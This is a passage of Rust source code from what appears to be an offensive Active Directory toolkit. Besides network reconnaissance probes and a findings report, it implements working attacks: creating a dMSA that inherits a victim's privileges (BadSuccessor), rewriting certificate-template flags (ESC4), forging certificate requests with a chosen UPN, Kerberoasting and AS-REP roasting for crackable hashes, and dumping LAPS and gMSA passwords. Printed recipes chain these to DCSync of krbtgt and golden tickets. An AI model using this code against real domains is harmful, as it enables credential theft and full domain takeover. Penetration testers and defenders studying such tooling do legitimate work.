out.push(format!("AXFR OK for {z}: {count} records LEAKED"))
}
Some(_) => out.push(format!("AXFR refused for {z}")),
None => {}
}
}
(!out.is_empty()).then(|| format!("DNS: {}", out.join(" · ")))
}
async fn dns_version_bind(host: &str) -> Option<String> {
let sock = tokio::net::UdpSocket::bind("0.0.0.0:0").await.ok()?;
sock.connect((host, 53)).await.ok()?;
let mut q = vec![0x13, 0x37, 0x01, 0x00, 0, 1, 0, 0, 0, 0, 0, 0];
for label in ["version", "bind"] {
q.push(label.len() as u8);
q.extend_from_slice(label.as_bytes());
}
q.push(0);
q.extend_from_slice(&[0x00, 0x10, 0x00, 0x03]); sock.send(&q).await.ok()?;
let mut buf = [0u8; 512];
let n = tokio::time::timeout(std::time::Duration::from_millis(900), sock.recv(&mut buf))
.await
.ok()?
.ok()?;
let ans = &buf[..n];
let mut best = String::new();
let mut cur = String::new();
for &b in &ans[12.min(n)..] {
if (0x20..0x7f).contains(&b) {
cur.push(b as char);
} else {
if cur.trim().len() > best.trim().len() {
best = cur.clone();
}
cur.clear();
}
}
if cur.trim().len() > best.trim().len() {
best = cur;
}
let best = best.trim().to_string();
(best.len() >= 3).then_some(best)
}
async fn dns_axfr(host: &str, zone: &str) -> Option<usize> {
use tokio::io::{AsyncReadExt, AsyncWriteExt};
let mut s = connect(host, 53).await?;
let mut msg = vec![0x13, 0x38, 0x00, 0x00, 0, 1, 0, 0, 0, 0, 0, 0]; for label in zone.split('.').filter(|l| !l.is_empty()) {
msg.push(label.len() as u8);
msg.extend_from_slice(label.as_bytes());
}
msg.push(0);
msg.extend_from_slice(&[0x00, 0xfc, 0x00, 0x01]); let framed = [&(msg.len() as u16).to_be_bytes()[..], &msg].concat(); s.write_all(&framed).await.ok()?;
let mut total_ancount = 0usize;
let mut got_any = false;
loop {
let mut len = [0u8; 2];
match tokio::time::timeout(
std::time::Duration::from_millis(1500),
s.read_exact(&mut len),
)
.await
{
Ok(Ok(_)) => {}
_ => break,
}
let n = u16::from_be_bytes(len) as usize;
if n < 12 {
break;
}
let mut buf = vec![0u8; n];
if s.read_exact(&mut buf).await.is_err() {
break;
}
got_any = true;
let rcode = buf[3] & 0x0f;
if rcode != 0 {
return Some(0); }
total_ancount += u16::from_be_bytes([buf[6], buf[7]]) as usize;
if total_ancount > 1 {
break;
}
}
got_any.then_some(total_ancount)
}
async fn nfs_showmount(host: &str) -> Option<String> {
use tokio::io::{AsyncReadExt, AsyncWriteExt};
let mut s = connect(host, 111).await?;
let mut call = rpc_call(100000, 2, 3, 0x4841_4d31);
call.extend_from_slice(&100005u32.to_be_bytes()); call.extend_from_slice(&3u32.to_be_bytes()); call.extend_from_slice(&6u32.to_be_bytes()); call.extend_from_slice(&0u32.to_be_bytes()); s.write_all(&rpc_frame(&call)).await.ok()?;
let reply = rpc_recv(&mut s).await?;
let port = reply
.get(reply.len().saturating_sub(4)..)
.map(|b| u32::from_be_bytes(b.try_into().unwrap()))?;
if port == 0 || port > 65535 {
return Some("NFS: portmap up but MOUNT not registered".to_string());
}
let mut m = connect(host, port as u16).await?;
let call = rpc_call(100005, 3, 5, 0x4841_4d32);
m.write_all(&rpc_frame(&call)).await.ok()?;
let mut buf = vec![0u8; 4096];
let n = tokio::time::timeout(std::time::Duration::from_millis(1200), m.read(&mut buf))
.await
.ok()?
.ok()?;
let exports = parse_exports(&buf[..n.min(buf.len())]);
if exports.is_empty() {
Some(format!(
"NFS: MOUNT on :{port} (no exports listed / access denied)"
))
} else {
Some(format!(
"NFS: {} export(s): {}",
exports.len(),
exports.join(", ")
))
}
}
fn rpc_call(prog: u32, vers: u32, proc_: u32, xid: u32) -> Vec<u8> {
let mut b = Vec::new();
b.extend_from_slice(&xid.to_be_bytes());
b.extend_from_slice(&0u32.to_be_bytes()); b.extend_from_slice(&2u32.to_be_bytes()); b.extend_from_slice(&prog.to_be_bytes());
b.extend_from_slice(&vers.to_be_bytes());
b.extend_from_slice(&proc_.to_be_bytes());
b.extend_from_slice(&[0, 0, 0, 0, 0, 0, 0, 0]); b.extend_from_slice(&[0, 0, 0, 0, 0, 0, 0, 0]); b
}
fn rpc_frame(msg: &[u8]) -> Vec<u8> {
let marker = 0x8000_0000u32 | (msg.len() as u32);
[&marker.to_be_bytes()[..], msg].concat()
}
async fn rpc_recv(s: &mut tokio::net::TcpStream) -> Option<Vec<u8>> {
use tokio::io::AsyncReadExt;
let mut m = [0u8; 4];
tokio::time::timeout(std::time::Duration::from_millis(1200), s.read_exact(&mut m))
.await
.ok()?
.ok()?;
let len = (u32::from_be_bytes(m) & 0x7fff_ffff) as usize;
if !(4..=65536).contains(&len) {
return None;
}
let mut buf = vec![0u8; len];
s.read_exact(&mut buf).await.ok()?;
Some(buf)
}
fn parse_exports(body: &[u8]) -> Vec<String> {
let mut out = Vec::new();
let mut i = 24usize.min(body.len()); while i + 4 <= body.len() {
let more = u32::from_be_bytes(body[i..i + 4].try_into().unwrap());
i += 4;
if more != 1 {
break; }
if i + 4 > body.len() {
break;
}
let dlen = u32::from_be_bytes(body[i..i + 4].try_into().unwrap()) as usize;
i += 4;
if dlen == 0 || dlen > 1024 || i + dlen > body.len() {
break;
}
out.push(String::from_utf8_lossy(&body[i..i + dlen]).to_string());
i += (dlen + 3) & !3; while i + 4 <= body.len() {
let g = u32::from_be_bytes(body[i..i + 4].try_into().unwrap());
i += 4;
if g != 1 {
break;
}
if i + 4 > body.len() {
break;
}
let glen = u32::from_be_bytes(body[i..i + 4].try_into().unwrap()) as usize;
i += 4 + ((glen + 3) & !3);
}
}
out
}
async fn snmp_public(host: &str, communities: &str) -> Option<String> {
for community in communities
.split(',')
.map(str::trim)
.filter(|c| !c.is_empty())
{
if let Some(desc) = snmp_get_sysdescr(host, community).await {
let d = desc.chars().take(60).collect::<String>();
return Some(format!("SNMP: community '{community}' VALID → {d}"));
}
}
None
}
async fn snmp_get_sysdescr(host: &str, community: &str) -> Option<String> {
let sock = tokio::net::UdpSocket::bind("0.0.0.0:0").await.ok()?;
sock.connect((host, 161)).await.ok()?;
let oid = [0x2b, 0x06, 0x01, 0x02, 0x01, 0x01, 0x01, 0x00]; let varbind = ber_seq(&[ber(0x06, &oid), ber(0x05, &[])].concat()); let varbinds = ber_seq(&varbind);
let pdu_body = [
ber(0x02, &[0x2a]), ber(0x02, &[0x00]), ber(0x02, &[0x00]), varbinds,
]
.concat();
let pdu = ber(0xa0, &pdu_body); let msg = ber_seq(
&[
ber(0x02, &[0x00]), ber(0x04, community.as_bytes()), pdu,
]
.concat(),
);
sock.send(&msg).await.ok()?;
let mut buf = [0u8; 1500];
let n = tokio::time::timeout(std::time::Duration::from_millis(900), sock.recv(&mut buf))
.await
.ok()?
.ok()?;
let resp = &buf[..n];
if resp.first() != Some(&0x30) {
return None;
}
Some(snmp_first_octet_string(resp).unwrap_or_else(|| "(accepted)".to_string()))
}
fn ber(tag: u8, val: &[u8]) -> Vec<u8> {
let mut out = vec![tag];
let len = val.len();
if len < 0x80 {
out.push(len as u8);
} else if len < 0x100 {
out.extend_from_slice(&[0x81, len as u8]);
} else {
out.extend_from_slice(&[0x82, (len >> 8) as u8, len as u8]);
}
out.extend_from_slice(val);
out
}
fn ber_seq(val: &[u8]) -> Vec<u8> {
ber(0x30, val)
}
fn snmp_first_octet_string(buf: &[u8]) -> Option<String> {
let mut i = 0;
let mut best: Option<String> = None;
while i + 2 <= buf.len() {
let tag = buf[i];
let mut len = buf[i + 1] as usize;
let mut hdr = 2;
if len == 0x81 && i + 2 < buf.len() {
len = buf[i + 2] as usize;
hdr = 3;
} else if len == 0x82 && i + 3 < buf.len() {
len = ((buf[i + 2] as usize) << 8) | buf[i + 3] as usize;
hdr = 4;
}
if tag == 0x30 || tag == 0xa0 || tag == 0xa2 {
i += hdr; continue;
}
if i + hdr + len > buf.len() {
break;
}
if tag == 0x04 && len >= 4 {
let v = &buf[i + hdr..i + hdr + len];
if v.iter().all(|&b| (0x20..0x7f).contains(&b)) {
best = Some(String::from_utf8_lossy(v).to_string());
}
}
i += hdr + len;
}
best
}
fn expand_targets(spec: &str) -> Result<Vec<String>> {
if let Some(file) = spec.strip_prefix('@') {
let content = std::fs::read_to_string(file).context("read targets file")?;
return Ok(content
.lines()
.map(|l| l.trim().to_string())
.filter(|l| !l.is_empty())
.collect());
}
if spec.contains('/') {
let (base, prefix) = spec.split_once('/').unwrap();
let ip: std::net::Ipv4Addr = base.parse().context("bad CIDR address")?;
let prefix: u32 = prefix.parse().context("bad CIDR prefix")?;
anyhow::ensure!((8..=32).contains(&prefix), "CIDR prefix must be 8..=32");
let host_bits = 32 - prefix;
let size = if host_bits == 0 {
1u32
} else {
1u32 << host_bits
};
let mask = if host_bits == 0 {
u32::MAX
} else {
!(size - 1)
};
let net = u32::from(ip) & mask;
let (start, end) = if prefix <= 30 {
(1, size - 1)
} else {
(0, size)
};
return Ok((start..end)
.map(|i| std::net::Ipv4Addr::from(net + i).to_string())
.collect());
}
Ok(spec
.split(',')
.map(|s| s.trim().to_string())
.filter(|s| !s.is_empty())
.collect())
}
fn config(a: &ScanArgs) -> LdapConfig {
LdapConfig {
url: a.url.clone(),
bind_dn: a.user.clone(),
password: a.password.clone(),
base_dn: a.base_dn.clone(),
insecure: a.insecure,
gssapi: a.gssapi,
}
}
async fn scan(a: ScanArgs) -> Result<()> {
let sp = ui::Spinner::start("collecting AD objects over LDAP");
let snap = Collector::connect(&config(&a)).await?.collect().await?;
sp.done(&format!("{} AD object(s) collected", snap.objects.len()));
tracing::info!(objects = snap.objects.len(), "collected");
let graph = ControlGraph::build(&snap);
let stats = graph.stats();
let paths = graph.paths_to_tier0();
let mut findings = adhammer_checks::run_all(&snap, &graph);
{
let crit = findings
.iter()
.filter(|f| matches!(f.severity, adhammer_core::finding::Severity::Critical))
.count();
ui::ok(&format!(
"{} finding(s) ({crit} critical) · {} control-path(s) to Tier-0",
findings.len(),
paths.len()
));
}
for p in paths.iter().take(5) {
eprintln!("\n[>] {} (cost {})", p.render(), p.cost);
for (i, s) in p.steps.iter().enumerate() {
match &s.command {
Some(c) => eprintln!(" {}. {:<26} {}", i + 1, s.edge, c),
None => eprintln!(" {}. {:<26} (detection only)", i + 1, s.edge),
}
eprintln!(" fix: {}", s.mitigation);
}
}
if let Some(path) = &a.bloodhound {
let p = std::path::Path::new(path);
let n = adhammer_bloodhound::export_zip(&snap, p)?;
eprintln!("[+] BloodHound export: {} JSON files → {}", n, p.display());
}
if let Some(sysvol) = &a.sysvol {
let root = std::path::Path::new(sysvol);
let hits = adhammer_sysvol::scan(root);
tracing::info!(gpp = hits.len(), "sysvol GPP swept");
if let Some(f) = adhammer_sysvol::finding(&hits) {
findings.insert(0, f);
}
let policy = adhammer_sysvol::gptmpl::scan_policy(root);
findings.extend(adhammer_sysvol::gptmpl::policy_findings(&policy));
}
let report = Report::build(
&snap.domain.domain_dn,
findings,
paths,
stats,
&RiskConfig::default(),
);
match a.format.as_str() {
"html" => println!("{}", report.to_html()),
_ => println!("{}", report.to_json()),
}
Ok(())
}
async fn badsuccessor(a: BadsuccessorArgs) -> Result<()> {
use adhammer_collector::{Collector, LdapConfig};
let cfg = LdapConfig {
url: a.url.clone(),
bind_dn: a.user.clone(),
password: a.password.clone(),
base_dn: None,
insecure: a.insecure,
gssapi: false,
};
let mut c = Collector::connect(&cfg).await?;
let victim_dn = c.resolve_dn(&a.target).await?;
let base = c.base_dn().to_string();
let container = a
.container
.clone()
.unwrap_or_else(|| format!("CN=Managed Service Accounts,{base}"));
let name = a.dmsa_name.trim_end_matches('$');
let sam = format!("{name}$");
let dn = format!("CN={name},{container}");
let dns_domain: String = base
.split(',')
.filter_map(|p| {
p.trim()
.strip_prefix("DC=")
.or_else(|| p.trim().strip_prefix("dc="))
})
.collect::<Vec<_>>()
.join(".");
let dns_host = format!("{name}.{dns_domain}");
let attrs: Vec<(&str, Vec<Vec<u8>>)> = vec![
(
"objectClass",
vec![
b"top".to_vec(),
b"msDS-DelegatedManagedServiceAccount".to_vec(),
],
),
("sAMAccountName", vec![sam.as_bytes().to_vec()]),
("dNSHostName", vec![dns_host.as_bytes().to_vec()]),
("userAccountControl", vec![b"4096".to_vec()]),
("msDS-SupportedEncryptionTypes", vec![b"28".to_vec()]),
("msDS-ManagedPasswordInterval", vec![b"30".to_vec()]),
("msDS-DelegatedMSAState", vec![b"2".to_vec()]),
(
"msDS-ManagedAccountPrecededByLink",
vec![victim_dn.as_bytes().to_vec()],
),
];
c.add_object(&dn, attrs).await?;
println!("[+] created dMSA {dn}");
println!(
" → succeeds {} (PAC of the victim is issued to {sam})",
a.target
);
println!(
" Next: request a TGT as {sam} and use it as if it were {}",
a.target
);
Ok(())
}
async fn esc4(a: Esc4Args) -> Result<()> {
use adhammer_collector::{Collector, LdapConfig};
const CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT: i64 = 0x0000_0001;
const CT_FLAG_PEND_ALL_REQUESTS: i64 = 0x0000_0002;
let cfg = LdapConfig {
url: a.url.clone(),
bind_dn: a.user.clone(),
password: a.password.clone(),
base_dn: None,
insecure: a.insecure,
gssapi: false,
};
let mut c = Collector::connect(&cfg).await?;
let base = c.base_dn().to_string();
let template_dn = format!(
"CN={},CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,{base}",
a.template
);
let (name_flag, enroll_flag) = c.read_template_flags(&template_dn).await?;
let new_name = name_flag | CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT;
let new_enroll = enroll_flag & !CT_FLAG_PEND_ALL_REQUESTS;
c.write_binary(
&template_dn,
"msPKI-Certificate-Name-Flag",
new_name.to_string().into_bytes(),
)
.await?;
c.write_binary(
&template_dn,
"msPKI-Enrollment-Flag",
new_enroll.to_string().into_bytes(),
)
.await?;
println!(
"[+] {template_dn}: msPKI-Certificate-Name-Flag {name_flag}→{new_name} (SUPPLIES_SUBJECT), \
msPKI-Enrollment-Flag {enroll_flag}→{new_enroll} (cleared PEND_ALL_REQUESTS)"
);
if let Some(enrollee) = &a.enrollee {
eprintln!(
"[!] --enrollee {enrollee}: Enroll-ACE write on template DACL not implemented \
yet — flags alone often suffice if the template is already broadly enrollable. \
Set the ACE manually or via `attack abuse` if needed."
);
}
println!(
" → attack esc1 --template {} --alt-name Administrator",
a.template
);
Ok(())
}
async fn shadowcred(a: ShadowcredArgs) -> Result<()> {
abuse(AbuseArgs {
url: Some(a.url.clone()),
user: Some(a.user.clone()),
password: Some(a.password.clone()),
insecure: a.insecure,
action: "add-keycred".into(),
target: a.target.clone(),
value: String::new(),
kdc: a.kdc.clone(),
realm: a.realm.clone(),
ldap389: false,
host: None,
})
.await?;
if a.pkinit {
let (kdc, realm) = match (a.kdc.as_ref(), a.realm.as_ref()) {
(Some(k), Some(r)) => (k.clone(), r.clone()),
_ => anyhow::bail!("--pkinit needs both --kdc and --realm"),
};
abuse(AbuseArgs {
url: Some(a.url),
user: Some(a.user),
password: Some(a.password),
insecure: a.insecure,
action: "pkinit".into(),
target: a.target,
value: String::new(),
kdc: Some(kdc),
realm: Some(realm),
ldap389: false,
host: None,
})
.await?;
}
Ok(())
}
async fn dcshadow(a: ScanArgs) -> Result<()> {
use adhammer_graph::ControlPrimitive as P;
let snap = Collector::connect(&config(&a)).await?.collect().await?;
let graph = adhammer_graph::ControlGraph::build(&snap);
let mut who = Vec::new();
for kind in [
P::DcsyncGetChanges,
P::DcsyncGetChangesAll,
P::DcsyncGetChangesFiltered,
] {
for (src, dst) in graph.direct_edges_to_tier0(kind.into()) {
who.push((src, dst, kind));
}
}
if who.is_empty() {
println!("== DCShadow-capable principals ==");
println!(" (none found — no principal outside Tier-0 holds replication rights)");
} else {
println!("== DCShadow-capable principals ({}) ==", who.len());
for (src, dst, kind) in &who {
println!(" {src:<32} → {dst} [{}]", kind.name());
}
println!();
println!(
"These already have DCSync. Each is a shortcut to DA — running `attack dcsync --user krbtgt`"
);
println!("as any of them dumps the whole domain without a lateral move.");
}
Ok(())
}
async fn check_adcs(a: CheckAdcsArgs) -> Result<()> {
let cfg = LdapConfig {
url: a.url.clone(),
bind_dn: a.user.clone(),
password: a.password.clone(),
base_dn: None,
insecure: a.insecure,
gssapi: false,
};
let snap = Collector::connect(&cfg).await?.collect().await?;
let templates =
adhammer_collector::sources::adcs::templates_from(snap.objects.iter().collect::<Vec<_>>());
let findings = adhammer_checks::rules::esc::detect_all(&templates);
if a.json {
let j = serde_json::to_string_pretty(&findings)?;
println!("{j}");
} else {
println!(
"== check adcs (ms-crtd ESC rule pack) — {} template(s) scanned, {} finding(s) ==",
templates.len(),
findings.len()
);
for f in &findings {
println!(
"[{:?}] {} — {}\n affected: {}\n {}\n",
f.severity,
f.id,
f.title,
f.affected.join(", "),
f.detail
);
}
}
Ok(())
}
async fn dump_laps(a: DumpLapsArgs) -> Result<()> {
eprintln!(
"[i] dump laps: ms-gkdi wire path (parse-header → derive-L2 offline) is available in \
`adhammer_collector::sources::gkdi`, but the sealed ISDKey RPC caller in this build \
still ships through `attack laps` (dpapi-ng). Running that path now."
);
let _ = a.dc; laps(LapsArgs {
target: a.target,
url: a.url,
user: a.user,
password: a.password,
insecure: a.insecure,
})
.await
}
async fn dump_gmsa(a: DumpGmsaArgs) -> Result<()> {
eprintln!(
"[i] dump gmsa: `msDS-ManagedPassword` is delivered as an MSDS-MANAGEDPASSWORD_BLOB \
over sealed LDAP (no GKDI RPC needed for the current-password read). Forwarding to \
`attack gmsa`."
);
gmsa(GmsaArgs {
url: a.url,
user: a.user,
password: a.password,
insecure: a.insecure,
target: a.target,
})
.await
}
async fn certipy(a: CertipyArgs) -> Result<()> {
use ms_crtd::flags::{EnrollmentFlag, NameFlag, PrivateKeyFlag};
use ms_crtd::model::CertTemplate;
use ms_crtd::oid::Oid;
let key_pem = if let Some(path) = &a.key {
std::fs::read(path).with_context(|| format!("read --key {path}"))?
} else {
use rsa::pkcs8::EncodePrivateKey;
use rsa::RsaPrivateKey;
let mut rng = rand::thread_rng();
let key = RsaPrivateKey::new(&mut rng, 2048).context("generate RSA-2048 for CSR")?;
let pem = key
.to_pkcs8_pem(rsa::pkcs8::LineEnding::LF)
.context("encode key PKCS#8 PEM")?;
let pem_bytes = pem.as_bytes().to_vec();
let key_path = format!("{}.key.pem", a.csr_out);
std::fs::write(&key_path, &pem_bytes)?;
eprintln!("[+] generated 2048-bit RSA key → {key_path}");
pem_bytes
};
let csr = ms_icpr::build_csr_with_upn_san(&a.subject, &a.target_upn, &key_pem)
.context("build_csr_with_upn_san")?;
std::fs::write(&a.csr_out, &csr)?;
eprintln!(
"[+] CSR built (subject CN={}, SAN otherName+UPN={}) → {} ({} bytes)",
a.subject,
a.target_upn,
a.csr_out,
csr.len()
);
let template = CertTemplate {
name: a.template.clone(),
oid: Oid::new("1.3.6.1.4.1.311.21.8.1.42"),
schema_version: a.schema_version.unwrap_or(2),
enrollment_flag: EnrollmentFlag::empty(),
name_flag: NameFlag::ENROLLEE_SUPPLIES_SUBJECT,
private_key_flag: PrivateKeyFlag::empty(),
ekus: vec![Oid::new("1.3.6.1.5.5.7.3.2")],
min_ra_signatures: 0,
raw_security_descriptor: None,
};
let stub_client = ms_icpr::IcprClient::stub(a.ca.clone());
let stub = stub_client
.marshal_call(&template, &csr)
.context("ms_icpr::IcprClient::marshal_call")?;
std::fs::write(&a.out, &stub)?;
eprintln!(
"[+] marshaled CertServerRequest stub → {} ({} bytes, opnum {})",
a.out,
stub.len(),
ms_icpr::CERT_SERVER_REQUEST_OPNUM
);
if let Some(host) = a.host.as_deref() {
let domain = a
.domain
.as_deref()
.ok_or_else(|| anyhow::anyhow!("--domain required when --host is set"))?;
let user = a
.user
.as_deref()
.ok_or_else(|| anyhow::anyhow!("--user required when --host is set"))?;
eprintln!(
"[*] submitting to {} \\\\PIPE\\\\cert (CA={}) as {}\\{}",
host, a.ca, domain, user
);
let mut client =
ms_icpr::IcprClient::connect(host, domain, user, &a.password, a.ca.clone())
.context("ms_icpr::IcprClient::connect (sealed \\PIPE\\cert)")?;
match client.submit_request(&template, &csr) {
Ok(issued) => {
let cert_path = format!("{}.issued.pem", a.csr_out);
std::fs::write(&cert_path, &issued.pem)?;
eprintln!(
"[+] cert ISSUED (request_id={}) → {} ({} bytes)",
issued.request_id,
cert_path,
issued.pem.len()
);
eprintln!(
"[+] chain into `attack pkinit --cert {} --key {}.key.pem --upn {}` to obtain a TGT",
cert_path, a.csr_out, a.target_upn
);
}
Err(e) => {
eprintln!("[-] live submit failed: {e}");
eprintln!(
"[i] the offline stub is still available at {} for diagnostic / replay",
a.out
);
return Err(e.into());
}
}
} else {
eprintln!(
"[i] offline mode — no --host provided. To submit live, add: \
--host <CA-fqdn> --domain <NETBIOS> --user <user> --password <pw>"
);
}
Ok(())
}
async fn unconstrained(a: ScanArgs) -> Result<()> {
use adhammer_core::object::uac;
const SERVER_TRUST_ACCOUNT: u32 = 0x0000_2000;
let snap = Collector::connect(&config(&a)).await?.collect().await?;
let mut risky: Vec<(&str, &str)> = Vec::new(); let mut dc_baseline = 0usize;
let mut proto_transition: Vec<(&str, &str)> = Vec::new();
for o in &snap.objects {
let u = o.uac();
if u == 0 {
continue;
}
let sam = o.one("sAMAccountName").unwrap_or("");
let is_dc = u & SERVER_TRUST_ACCOUNT != 0;
if u & uac::TRUSTED_FOR_DELEGATION != 0 {
if is_dc {
dc_baseline += 1;
} else {
risky.push((sam, &o.dn));
}
}
if u & uac::TRUSTED_TO_AUTH_FOR_DELEGATION != 0 {
proto_transition.push((sam, &o.dn));
}
}
println!(
"== Unconstrained delegation ({} DC baseline, {} risky non-DC host(s)) ==",
dc_baseline,
risky.len()
);
if risky.is_empty() {
println!(" (none — only DCs carry TRUSTED_FOR_DELEGATION, which is expected)");
} else {
for (sam, dn) in &risky {
println!(" [!] {sam:<28} {dn}");
}
println!();
println!("Abuse recipe (once you control one of these hosts):");
println!(" 1. attack coerce --host <DC> --pipe efsrpc --listener <this-host>");
println!(" (or --pipe spoolss|netdfs|fssagentrpc)");
println!(" 2. Capture the incoming Kerberos AP-REQ on this host.");
println!(" 3. Extract the forwarded TGT from the Authenticator (GSS-KRB5 Deleg flag).");
println!(" 4. attack dcsync --user krbtgt (or golden-ticket forge)");
}
if !proto_transition.is_empty() {
println!();
println!(
"== Constrained delegation w/ protocol transition ({}) — S4U2Self abuse ==",
proto_transition.len()
);
for (sam, dn) in &proto_transition {
println!(" {sam:<28} {dn}");
}
println!(" → attack constrained --host <this-host> --target <spn>");
}
Ok(())
}
async fn roast(a: ScanArgs) -> Result<()> {
let snap = Collector::connect(&config(&a)).await?.collect().await?;
let realm = snap
.domain
.domain_dn
.split(',')
.filter_map(|p| p.strip_prefix("DC="))
.collect::<Vec<_>>()
.join(".")
.to_uppercase();
let (kerberoast, asrep) = adhammer_kerberos::candidates(&snap, &realm);
println!("== Kerberoastable ({}) ==", kerberoast.len());
match &a.kdc {
None => {
for c in &kerberoast {
println!(" {} spn={}", c.sam, c.spn.as_deref().unwrap_or("-"));
}
}
Some(kdc) if !kerberoast.is_empty() => {
match adhammer_kerberos::get_tgt(&a.user, &a.password, &realm, kdc).await {
Err(e) => eprintln!(" TGT acquisition failed: {e}"),
Ok(tgt) => {
for c in &kerberoast {
let spn = c.spn.as_deref().unwrap_or_default();
match adhammer_kerberos::roast_spn(&tgt, &c.sam, spn, kdc).await {
Ok(hash) => println!("{hash}"),
Err(e) => eprintln!(" {}: {e}", c.sam),
}
}
}
}
}
Some(_) => {}
}
println!("== AS-REP roastable ({}) ==", asrep.len());
match &a.kdc {
None => {
for c in &asrep {
println!(" {}", c.sam);
}
if !asrep.is_empty() {
eprintln!("(pass --kdc <host> to fetch hashcat 18200 hashes)");
}
}
Some(kdc) => {
for c in &asrep {
match adhammer_kerberos::asrep_roast(c, kdc).await {
Ok(hash) => println!("{hash}"),
Err(e) => eprintln!(" {}: {e}", c.sam),
}
}
}
}
Ok(())
}
#[cfg(test)]
mod net_tests {
use super::*;
#[test]
fn esc8_classifier() {
let vuln = "HTTP/1.1 401 Unauthorized\r\nServer: Microsoft-IIS/10.0\r\nWWW-Authenticate: Negotiate\r\nWWW-Authenticate: NTLM\r\n\r\n";
assert!(is_esc8_response(vuln), "cleartext NTLM 401 = ESC8");
assert!(!is_esc8_response("HTTP/1.1 200 OK\r\n\r\n"));
assert!(!is_esc8_response(
"HTTP/1.1 401 Unauthorized\r\nWWW-Authenticate: Basic\r\n\r\n"
));
}
#[test]
fn ber_lengths() {
assert_eq!(ber(0x02, &[0x2a]), vec![0x02, 0x01, 0x2a]);
let long = vec![0u8; 200];
let e = ber(0x04, &long);
assert_eq!(&e[..2], &[0x04, 0x81]); assert_eq!(e[2], 200);
let longer = vec![0u8; 300];
let e2 = ber(0x04, &longer);
assert_eq!(&e2[..2], &[0x04, 0x82]); assert_eq!(u16::from_be_bytes([e2[2], e2[3]]), 300);
}
#[test]
fn rpc_record_marker_last_fragment() {
let f = rpc_frame(&[1, 2, 3, 4]);
assert_eq!(u32::from_be_bytes([f[0], f[1], f[2], f[3]]), 0x8000_0004);
assert_eq!(&f[4..], &[1, 2, 3, 4]);
}
#[test]
fn snmp_extracts_last_octet_string() {
let oid = ber(0x06, &[0x2b, 0x06, 0x01, 0x02, 0x01, 0x01, 0x01, 0x00]);
let val = ber(0x04, b"Linux router 5.10");
let vb = ber_seq(&[ber_seq(&[oid, val].concat())].concat());
let pdu_body = [ber(0x02, &[0x2a]), ber(0x02, &[0]), ber(0x02, &[0]), vb].concat();
let pdu = ber(0xa2, &pdu_body); let msg = ber_seq(&[ber(0x02, &[0]), ber(0x04, b"public"), pdu].concat());
assert_eq!(
snmp_first_octet_string(&msg).as_deref(),
Some("Linux router 5.10")
);
}
#[test]
fn parse_exports_walks_chain() {
fn be(v: u32) -> [u8; 4] {
v.to_be_bytes()
}
let mut body = vec![0u8; 24]; body.extend_from_slice(&be(1));
body.extend_from_slice(&be(5));
body.extend_from_slice(b"/data\0\0\0"); body.extend_from_slice(&be(0)); body.extend_from_slice(&be(1));
body.extend_from_slice(&be(8));
body.extend_from_slice(b"/exports");
body.extend_from_slice(&be(1)); body.extend_from_slice(&be(1));
body.extend_from_slice(b"*\0\0\0");
body.extend_from_slice(&be(0)); body.extend_from_slice(&be(0)); let ex = parse_exports(&body);
assert_eq!(ex, vec!["/data".to_string(), "/exports".to_string()]);
}
struct Rng(u64);
impl Rng {
fn next(&mut self) -> u64 {
self.0 ^= self.0 >> 12;
self.0 ^= self.0 << 25;
self.0 ^= self.0 >> 27;
self.0.wrapping_mul(0x2545_F491_4F6C_DD1D)
}
fn bytes(&mut self, max: usize) -> Vec<u8> {
let n = (self.next() as usize) % (max + 1);
(0..n).map(|_| self.next() as u8).collect()
}
}
fn fuzz<F: Fn(&[u8]) + std::panic::RefUnwindSafe>(name: &str, seeds: &[&[u8]], f: F) {
let prev = std::panic::take_hook();
std::panic::set_hook(Box::new(|_| {})); let mut rng = Rng(0x9E37_79B9_7F4A_7C15 ^ name.bytes().map(|b| b as u64).sum::<u64>());
let mut fail = None;
for _ in 0..200_000 {
let mut buf = rng.bytes(320);
if !seeds.is_empty() && rng.next() & 1 == 0 {
let mut s = seeds[(rng.next() as usize) % seeds.len()].to_vec();
for _ in 0..(rng.next() as usize % 8) {
if !s.is_empty() {
let i = (rng.next() as usize) % s.len();
s[i] = rng.next() as u8;
}
}
buf = s;
}
let b = buf.clone();
if std::panic::catch_unwind(|| f(&b)).is_err() {
fail = Some(buf);
break;
}
}
std::panic::set_hook(prev);
if let Some(buf) = fail {
panic!(
"{name} PANICKED on input ({} bytes): {}",
buf.len(),
hex_dump(&buf)
);
}
}
fn hex_dump(b: &[u8]) -> String {
b.iter().map(|x| format!("{x:02x}")).collect()
}
#[test]
fn fuzz_network_parsers() {
let snmp_seed = ber_seq(&[ber(0x02, &[0]), ber(0x04, b"public"), ber(0xa2, &[])].concat());
fuzz("snmp_first_octet_string", &[&snmp_seed], |b| {
let _ = snmp_first_octet_string(b);
});
let mut nfs_seed = vec![0u8; 24];
nfs_seed.extend_from_slice(&[0, 0, 0, 1, 0, 0, 0, 5]);
nfs_seed.extend_from_slice(b"/data\0\0\0");
fuzz("parse_exports", &[&nfs_seed], |b| {
let _ = parse_exports(b);
});
fuzz("parse_prelogin", &[], |b| {
let _ = parse_prelogin(b);
});
}
#[test]
fn managed_password_blob_extracts_current() {
let mut b = vec![1, 0, 0, 0]; b.extend_from_slice(&0u32.to_le_bytes()); b.extend_from_slice(&16u16.to_le_bytes()); b.extend_from_slice(&0u16.to_le_bytes()); b.extend_from_slice(&0u16.to_le_bytes()); b.extend_from_slice(&0u16.to_le_bytes()); b.extend_from_slice(&[0xAB; 256]); let pw = parse_managed_password_blob(&b).unwrap();
assert_eq!(pw.len(), 256);
assert!(pw.iter().all(|&x| x == 0xAB));
}
#[test]
fn prelogin_reads_version_and_encryption() {
let mut body = vec![
0x00, 0x00, 12, 0x00, 6, 0x01, 0x00, 18, 0x00, 1, 0xff, ];
while body.len() < 12 {
body.push(0);
}
body.extend_from_slice(&[16, 0, 0x03, 0xe8, 0, 0]); body.push(0x03); let (v, e) = parse_prelogin(&body);
assert_eq!(v.as_deref(), Some("16.0.1000"));
assert_eq!(e, Some(0x03));
}
}